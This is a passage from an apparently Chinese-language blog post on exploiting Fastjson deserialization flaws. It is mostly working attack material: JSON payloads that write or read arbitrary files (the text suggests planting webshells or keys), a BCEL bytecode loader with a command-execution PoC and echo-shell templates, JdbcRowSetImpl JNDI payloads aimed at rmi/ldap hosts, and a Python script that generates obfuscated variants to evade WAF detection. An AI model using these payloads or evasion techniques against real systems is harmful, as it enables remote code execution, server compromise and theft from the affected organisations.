" \"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n" +
" \"userOverridesAsString\":\"HexAsciiSerializedMap:" + string + ";\"\n" +
" }\n" +
"}";
JSON.parseObject(jsonString);
}

public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception {

Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}

public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}

private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
return out;
}

static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}
}

文件读取写入

在fastjson <= 1.2.68版本中,可以尝试利用预期类中的AutoCloseable进行文件读写操作,结合这个思路,可以尝试写入Webshell/计划任务/密钥等。

  1. JRE8环境下写入文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"x":{
"@type":"java.lang.AutoCloseable",
"@type":"sun.rmi.server.MarshalOutputStream",
"out":{
"@type":"java.util.zip.InflaterOutputStream",
"out":{
"@type":"java.io.FileOutputStream",
"file":"/tmp/dest.txt",
"append":false
},
"infl":{
"input":"eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="
},
"bufLen":1048576
},
"protocolVersion":1
}
}
  1. commons-io 2.0~2.6版本写入文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}
  1. commons-io 2.7~2.8版本写入文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)",
"start":0,
"end":2147483647
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"charsetName":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}
}
  1. commons-io读取文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///D:/1.txt"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"charsetName": "UTF-8",
"bytes": [66]
}]
},
"address": {
"$ref": "$.abc.BOM"
}
}

BCEL

利用Tomcat中com.sun.org.apache.bcel.internal.util.ClassLoader#loadclass方法加载bcel字节码,之后调用defineClass进行加载字节码。

1
2
3
4
5
6
7
8
public class Poc {
public Poc(){
try{
Runtime.getRuntime().exec(new String[]{"open -a calculator"});
} catch (Exception e) {
}
}
}
1
2
3
4
5
6
7
8
9
10
11
public class Bcel {
public static void main(String[] args) throws IOException {
Path path = Paths.get("poc.class");
byte[] bytes = Files.readAllBytes(path);
System.out.println(bytes.length);
String result = Utility.encode(bytes,true);
BufferedWriter bw = new BufferedWriter(new FileWriter("res.txt"));
bw.write("$$BCEL$$" + result);
bw.close();
}
}
1
2
3
4
5
6
7
8
9
10
11
{
{
"x": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", // tomcat8的poc,如果小于8的话用到的类是org.apache.tomcat.dbcp.dbcp.BasicDataSource
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}

还可以构造Tomcat/SpringBoot的回显马。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Tomcat Echo
{
"a": {
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"b": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"c": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "字节码放入此处"
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Spring Echo
{
"a": {
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"b": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"c": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "字节码放入此处"
}
}

Bypass WAF

对于WAF设备,可以采用常规的Bypass的手段来进行绕过,例如利用过长字符来使得服务器放行流量;或者结合中间件的解析,例如multipart支持指定Content-Transformer-Encoding,可以使用Base64或quoted-printable(QP编码)来绕过WAF。

下文着重分析Fastjson在解析过程中的的特性来构造混淆Payload,从而绕过WAF层面的流量检测。

空白字符

在上文分析漏洞流程时,skipWhitespace方法多次出现在解析过程中,可以看到会默认去除键、值外的空格、\r、\n、\t、\f、\b等字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public final void skipWhitespace() {
for (;;) {
if (ch <= '/') {
if (ch == ' ' || ch == '\r' || ch == '\n' || ch == '\t' || ch == '\f' || ch == '\b') {
next();
continue;
} else if (ch == '/') {
skipComment();
continue;
} else {
break;
}
} else {
break;
}
}
}

注释字符

在上文的skipWhitespace方法中,可以看到如果当前字符为/的话,会调用skipComment方法,可以看到在skipComment方法中,fastjson处理的注释主要有两类,//comment\n和/comment/,因此可以利用注释字符来混淆Payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
protected void skipComment() {
next();
if (ch == '/') {
for (;;) {
next();
if (ch == '\n') {
next();
return;
} else if (ch == EOI) {
return;
}
}
} else if (ch == '*') {
next();

for (; ch != EOI;) {
if (ch == '*') {
next();
if (ch == '/') {
next();
return;
} else {
continue;
}
}
next();
}
} else {
throw new JSONException("invalid comment");
}
}

默认开启的Feature

1
2
3
4
5
6
7
8
9
10
11
12
static {
int features = 0;
features |= Feature.AutoCloseSource.getMask();
features |= Feature.InternFieldNames.getMask();
features |= Feature.UseBigDecimal.getMask();
features |= Feature.AllowUnQuotedFieldNames.getMask();
features |= Feature.AllowSingleQuotes.getMask();
features |= Feature.AllowArbitraryCommas.getMask();
features |= Feature.SortFeidFastMatch.getMask();
features |= Feature.IgnoreNotMatch.getMask();
DEFAULT_PARSER_FEATURE = features;
}
  • AllowUnQuotedFieldNames,允许JSON字段名不被引号包括,只在恢复字段的过程调用当中有效果

1
2
3
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Exploit","autoCommit":true}
->
{"@type":"com.sun.rowset.JdbcRowSetImpl",dataSourceName:"rmi://127.0.0.1:1099/Exploit","autoCommit":true}
  • AllowSingleQuotes,允许使用单引号包裹字段名
1
{"@type":'com.sun.rowset.JdbcRowSetImpl',"dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}
  • AllowArbitraryCommas,允许使用多个逗号
1
2
3
4
5
6
7
8
char ch = lexer.getCurrent();
if (lexer.isEnabled(Feature.AllowArbitraryCommas)) {
while (ch == ',') {
lexer.next();
lexer.skipWhitespace();
ch = lexer.getCurrent();
}
}
1
{,,,,,,"@type":"com.sun.rowset.JdbcRowSetImpl",,,,,,"dataSourceName":"rmi://127.0.0.1:1099/Exploit",,,,,, "autoCommit":true}

编码

在com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol方法中,如果遇到了\u或者\x,会自动将键与值进行unicode与十六进制解码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
case 'x':
char x1 = ch = next();
char x2 = ch = next();

int x_val = digits[x1] * 16 + digits[x2];
char x_char = (char) x_val;
hash = 31 * hash + (int) x_char;
putChar(x_char);
break;
case 'u':
char c1 = chLocal = next();
char c2 = chLocal = next();
char c3 = chLocal = next();
char c4 = chLocal = next();
int val = Integer.parseInt(new String(new char[] { c1, c2, c3, c4 }), 16);
hash = 31 * hash + val;
putChar((char) val);
break;

智能匹配

对字段添加多个下划线或者减号,fastjson 1.2.36版本前,在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch方法中,解析字段的key的时候,_和-会被自动清除,但是需要注意只能使用同一种。

1
2
3
4
5
6
7
8
9
10
11
12
for (int i = 0; i < key.length(); ++i) {
char ch = key.charAt(i);
if (ch == '_') {
snakeOrkebab = true;
key2 = key.replaceAll("_", "");
break;
} else if (ch == '-') {
snakeOrkebab = true;
key2 = key.replaceAll("-", "");
break;
}
}

在fastjson 1.2.36版本后,JavaBeanDeserializer#smartMatch方法会调用TypeUtils#fnv1a_64_lower方法来进行处理,可以看到会自动去除_和-。除此以外,当key的前缀为is时,会自动去除is,同时TypeUtils#fnv1a_64_lower方法会忽略key的大小写。

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","isdata-So_urceName":"rmi://127.0.0.1:1099/Exploit","autoCommit":true}

下面是Longofo师傅写的一个小脚本,可以将基础Payload转出各种绕过的形态。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import json
from json import JSONDecodeError

class FastJsonPayload:
def __init__(self, base_payload):
try:
json.loads(base_payload)
except JSONDecodeError as ex:
raise ex
self.base_payload = base_payload

def gen_common(self, payload, func):
tmp_payload = json.loads(payload)
dct_objs = [tmp_payload]

while len(dct_objs) > 0:
tmp_objs = []
for dct_obj in dct_objs:
for key in dct_obj:
if key == "@type":
dct_obj[key] = func(dct_obj[key])

if type(dct_obj[key]) == dict:
tmp_objs.append(dct_obj[key])
dct_objs = tmp_objs
return json.dumps(tmp_payload)

# 对@type的value增加L开头;结尾的payload
def gen_payload1(self, payload: str):
return self.gen_common(payload, lambda v: "L" + v + ";")

# 对@type的value增加LL开头;;结尾的payload
def gen_payload2(self, payload: str):
return self.gen_common(payload, lambda v: "LL" + v + ";;")

# 对@type的value进行\u
def gen_payload3(self, payload: str):
return self.gen_common(payload,
lambda v: ''.join('\\u{:04x}'.format(c) for c in v.encode())).replace("\\\\", "\\")

# 对@type的value进行\x
def gen_payload4(self, payload: str):
return self.gen_common(payload,
lambda v: ''.join('\\x{:02x}'.format(c) for c in v.encode())).replace("\\\\", "\\")

# 生成cache绕过payload
def gen_payload5(self, payload: str):
cache_payload = {
"rand1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
}
}
cache_payload["rand2"] = json.loads(payload)
return json.dumps(cache_payload)

def gen(self):
payloads = []

payload1 = self.gen_payload1(self.base_payload)
yield payload1

payload2 = self.gen_payload2(self.base_payload)
yield payload2

payload3 = self.gen_payload3(self.base_payload)
yield payload3

payload4 = self.gen_payload4(self.base_payload)
yield payload4

payload5 = self.gen_payload5(self.base_payload)
yield payload5

payloads.append(payload1)
payloads.append(payload2)
payloads.append(payload5)

for payload in payloads:
yield self.gen_payload3(payload)
yield self.gen_payload4(payload)


if __name__ == '__main__':
fjp = FastJsonPayload('''{
"rand1": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}''')

for payload in fjp.gen():
print(payload)
print()

参考

Fastjson:我一路向北,离开有你的季节

KCon2022 Hacking JSON

Fastjson Blacklist

Fastjson 68 commons-io AutoCloseable

Fastjson 反序列化漏洞史